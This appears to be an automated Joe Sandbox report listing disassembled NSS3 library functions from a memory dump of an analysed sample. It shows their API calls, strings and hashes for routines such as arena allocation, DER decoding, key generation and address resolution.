Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: fef05dfe044bf894015e2131c23db10f89db0cb09376614578e1455a65e95c87
Instruction ID: 7889d26e2cc50eab7f67d8d6266b2ceef01dff6ddb53b4cfbbf088d6c4185a0d
Opcode Fuzzy Hash: fef05dfe044bf894015e2131c23db10f89db0cb09376614578e1455a65e95c87
Instruction Fuzzy Hash: 055117B5A003016BF714DB2A9E41F6776ECDF5124CF048928E969C6FA2FB31E51582B2

Function 6CD38E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CD38E01,00000000,6CD39060,6CE40B64), ref: 6CD38E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CD38E01,00000000,6CD39060,6CE40B64), ref: 6CD38E9E
PORT_ArenaAlloc_Util.NSS3(6CE40B64,00000001,?,?,?,?,6CD38E01,00000000,6CD39060,6CE40B64), ref: 6CD38EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CD38E01,00000000,6CD39060,6CE40B64), ref: 6CD38EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CD38E01,00000000,6CD39060,6CE40B64), ref: 6CD38ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CD38E01,00000000,6CD39060,6CE40B64), ref: 6CD38EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CD38E01), ref: 6CD38EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE40B64,6CE40B64), ref: 6CD38F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CD38F3F

Part of subcall function 6CD3A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CD3A421,00000000,00000000,6CD39826), ref: 6CD3A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD3904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CD38E76

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 7f1ba032f6e44869b7ce767537b63f3586c9b08f8afbda57488d1ff17a9dfb88
Instruction ID: b9f6255f4397303006db53370584e179daa6acbe309186b3893355f551dc0e3c
Opcode Fuzzy Hash: 7f1ba032f6e44869b7ce767537b63f3586c9b08f8afbda57488d1ff17a9dfb88
Instruction Fuzzy Hash: DD6180B5D002299BDB10CF55CC80AABB7B5FF85358F154129DC28A7B60EB35A916CBB0

Function 6CCE8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CCE8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CCE8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CE118D0,?), ref: 6CCE8F03
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCE8F19
PL_FreeArenaPool.NSS3(?), ref: 6CCE8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CCE8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CCE8F65
PL_FinishArenaPool.NSS3(?), ref: 6CCE8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CCE8FFE
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCE9012
PL_FreeArenaPool.NSS3(?), ref: 6CCE9024
PL_FinishArenaPool.NSS3(?), ref: 6CCE902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CCE903E

Strings

security, xrefs: 6CCE8EE7

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 647cf55378355baaecf1d9b1729c61d37da80b9d0516ad5ab07faa0e136fb102
Instruction ID: 82e2dfd5c4a9167a84e88f51835016b2bddf9dbc5160fd8570cfbec23573c472
Opcode Fuzzy Hash: 647cf55378355baaecf1d9b1729c61d37da80b9d0516ad5ab07faa0e136fb102
Instruction Fuzzy Hash: C35158B5608300ABD7109B599C41FAB33A8AB8B75CF54482EF94997B90F731D80987A3

Function 6CDACD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CDACC7B), ref: 6CDACD7A

Part of subcall function 6CDACE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CD1C1A8,?), ref: 6CDACE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CDACDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CDACDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CDACDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CDACD8E

Part of subcall function 6CCD05C0: PR_EnterMonitor.NSS3 ref: 6CCD05D1
Part of subcall function 6CCD05C0: PR_ExitMonitor.NSS3 ref: 6CCD05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CDACDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CDACDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CDACE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CDACE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CDACE48

Strings

getaddrinfo, xrefs: 6CDACD88, 6CDACDF9
freeaddrinfo, xrefs: 6CDACD9F, 6CDACE10
getnameinfo, xrefs: 6CDACDB2, 6CDACE23
ws2_32.dll, xrefs: 6CDACD75
wship6.dll, xrefs: 6CDACDE3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 94da391c3d402401c8fa49985e614e1a75c85fbfee7ce8c9f1e72c6aeb087393
Instruction ID: c09dbff022878f2cbb6e40ffd8fd6a9283e05d0cdeb49fb7903e1fa0bb5f9e69
Opcode Fuzzy Hash: 94da391c3d402401c8fa49985e614e1a75c85fbfee7ce8c9f1e72c6aeb087393
Instruction Fuzzy Hash: 5E1129E6E1721092DF017BF5AC00AAE39785B8211DF294575EC09D5F10FB26D52BC2EA

Function 6CDF1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CDF13BC,?,?,?,6CDF1193), ref: 6CDF1C6B
PR_NewLock.NSS3(?,6CDF1193), ref: 6CDF1C7E

Part of subcall function 6CDA98D0: calloc.MOZGLUE(00000001,00000084,6CCD0936,00000001,?,6CCD102C), ref: 6CDA98E5

PR_NewCondVar.NSS3(00000000,?,6CDF1193), ref: 6CDF1C91

Part of subcall function 6CCCBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CCD21BC), ref: 6CCCBB8C

PR_NewCondVar.NSS3(00000000,?,?,6CDF1193), ref: 6CDF1CA7

Part of subcall function 6CCCBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CCCBBEB
Part of subcall function 6CCCBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CCCBBFB
Part of subcall function 6CCCBB80: GetLastError.KERNEL32 ref: 6CCCBC03
Part of subcall function 6CCCBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CCCBC19
Part of subcall function 6CCCBB80: free.MOZGLUE(00000000), ref: 6CCCBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CDF1193), ref: 6CDF1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CDF1193), ref: 6CDF1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CDF1193), ref: 6CDF1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CDF1193), ref: 6CDF1D1A

Part of subcall function 6CDA9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CCD1A48), ref: 6CDA9BB3
Part of subcall function 6CDA9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CCD1A48), ref: 6CDA9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CDF1193), ref: 6CDF1D3D

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CDF1193), ref: 6CDF1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CDF1193), ref: 6CDF1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CDF1193), ref: 6CDF1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CDF1193), ref: 6CDF1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CDF1193), ref: 6CDF1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CDF1193), ref: 6CDF1D93
PR_DestroyLock.NSS3(00000000,?,?,6CDF1193), ref: 6CDF1D9F
free.MOZGLUE(00000000,?,6CDF1193), ref: 6CDF1DA8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 62bfea673c123773cb730cc7b7715ceb1f2004c9f8a2774f7a94be30c9c7e840
Instruction ID: a222b34c5d7c057f76e48c49c5f4f047a7e227b376ac6aba270d2bebb5475375
Opcode Fuzzy Hash: 62bfea673c123773cb730cc7b7715ceb1f2004c9f8a2774f7a94be30c9c7e840
Instruction Fuzzy Hash: CC31E7F1E007019BEB209F65AC51A677AF8AF0161CB044938E95A87B51FB31F519CBB2

Function 6CD45CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CD45EC0,00000000,?,?), ref: 6CD45CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CD45CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CD45CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CD45D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CD45EC0,00000000,?,?), ref: 6CD45D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CD45D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD45D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD45D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CD45D80

Strings

dbm:, xrefs: 6CD45D03, 6CD45D60
multiaccess:, xrefs: 6CD45CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CD45D1A
extern:, xrefs: 6CD45CEA, 6CD45D4B
sql:, xrefs: 6CD45CD1, 6CD45D36

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 14f1b3fe2a751cbe7d7a16a5daa4884aae3a25b20afc978331381a075b6f2ba9
Instruction ID: da820b26e58ea3ded24fe0fd5aed664be223ae932c9f2eee24ecbd6a9dd0c712
Opcode Fuzzy Hash: 14f1b3fe2a751cbe7d7a16a5daa4884aae3a25b20afc978331381a075b6f2ba9
Instruction Fuzzy Hash: E83147B0705315EBEB111F25CC48B2A3378AF0234AF204131EF99E7A91FB76E801C695

Function 6CD46CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CE11DE0,?), ref: 6CD46CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD46D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CD46D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CD46D82
DER_GetInteger_Util.NSS3(?), ref: 6CD46DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD46DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CD46E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CD46F19
PK11_DigestBegin.NSS3(00000000), ref: 6CD46F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CD46F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CD47011
PK11_FreeSymKey.NSS3(00000000), ref: 6CD47033
free.MOZGLUE(?), ref: 6CD4703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CD47060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CD47087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CD470AF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 20360b1a9fa7e3141a708979edafc463ca9e059add2590c0f92c5f1dbf4944b5
Instruction ID: de700d0fb3ccefa115dc4a6f7db6e349ccf99ce0db41e60c98f3a01430b22f7f
Opcode Fuzzy Hash: 20360b1a9fa7e3141a708979edafc463ca9e059add2590c0f92c5f1dbf4944b5
Instruction Fuzzy Hash: 7DA1E671905200DBEB009B24DC45B5E32E5DB8130CF24C939EB9ADBAB1E775D85AC763

Function 6CD0AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0AF39
PR_Unlock.NSS3(?,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0AF69
TlsGetValue.KERNEL32 ref: 6CD0B06B
EnterCriticalSection.KERNEL32(?), ref: 6CD0B083
PR_Unlock.NSS3(?), ref: 6CD0B0A4
TlsGetValue.KERNEL32 ref: 6CD0B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CD0B0D9
PR_Unlock.NSS3 ref: 6CD0B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0B182

Part of subcall function 6CD3FAB0: free.MOZGLUE(?,-00000001,?,?,6CCDF673,00000000,00000000), ref: 6CD3FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CD0B177

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CCEAB95,00000000,?,00000000,00000000,00000000), ref: 6CD0B1C2

Part of subcall function 6CD31560: TlsGetValue.KERNEL32(00000000,?,6CD00844,?), ref: 6CD3157A
Part of subcall function 6CD31560: EnterCriticalSection.KERNEL32(?,?,?,6CD00844,?), ref: 6CD3158F
Part of subcall function 6CD31560: PR_Unlock.NSS3(?,?,?,?,6CD00844,?), ref: 6CD315B2

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: ca8c582e9a5da0de5fc1bddc7e2cfd8429aa000afdc2124df709107f13cab10f
Instruction ID: 7aba6f5fdc3b2e1b7c0a3b50fa0c2fcdd13470c4eb482b928ea661c2749dd5ef
Opcode Fuzzy Hash: ca8c582e9a5da0de5fc1bddc7e2cfd8429aa000afdc2124df709107f13cab10f
Instruction Fuzzy Hash: 06A172B1E00205ABEF019F68DC81BEE77B4EF45308F144125E91997762F731E959CBA2

Function 6CD5AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD5ADB1

Part of subcall function 6CD3BE30: SECOID_FindOID_Util.NSS3(6CCF311B,00000000,?,6CCF311B,?), ref: 6CD3BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CD5ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CD5AE08

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD5AE25
PL_FreeArenaPool.NSS3 ref: 6CD5AE63
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD5AE4D

Part of subcall function 6CC64C70: TlsGetValue.KERNEL32(?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64C97
Part of subcall function 6CC64C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CB0
Part of subcall function 6CC64C70: PR_Unlock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD5AE93
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD5AECC
PL_FreeArenaPool.NSS3 ref: 6CD5AEDE
PL_FinishArenaPool.NSS3 ref: 6CD5AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD5AEF5
PL_FinishArenaPool.NSS3 ref: 6CD5AF16

Strings

security, xrefs: 6CD5ADEE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 81810bf686acc64316225664fe0443de343817e5b26ebd59e49d1b00bb6ba508
Instruction ID: 24b1d8dbe07b46d0a4245e69e994a747616577cb45980cc9a36dca36b09d01ce
Opcode Fuzzy Hash: 81810bf686acc64316225664fe0443de343817e5b26ebd59e49d1b00bb6ba508
Instruction Fuzzy Hash: 404127B1B04224A7EF208B249C45BBA32B4AF5230CF900525E95DD2FA1F735D92987F3

Function 6CD4E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CD4E853,?,FFFFFFFF,?,?,6CD4B0CC,?,6CD4B4A0,?,00000000), ref: 6CD4E8D9

Part of subcall function 6CD40D30: calloc.MOZGLUE ref: 6CD40D50
Part of subcall function 6CD40D30: TlsGetValue.KERNEL32 ref: 6CD40D6D

Part of subcall function 6CD4C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CD4DAE2,?), ref: 6CD4C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CD4E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CD4E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CD4EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CD4EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CD4EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CD4EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CD4EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CD4EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CD4EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CD4EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CD4EBEC
free.MOZGLUE(00000000), ref: 6CD4EC58

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 0d8b9d24eff2354e63ace61eef137ccf995501bf539ca220c912a6dbd76b9671
Instruction ID: 5858114512d512fb565bd56bfa34d1a866b7e52281392e56ac3703b47c537e1f
Opcode Fuzzy Hash: 0d8b9d24eff2354e63ace61eef137ccf995501bf539ca220c912a6dbd76b9671
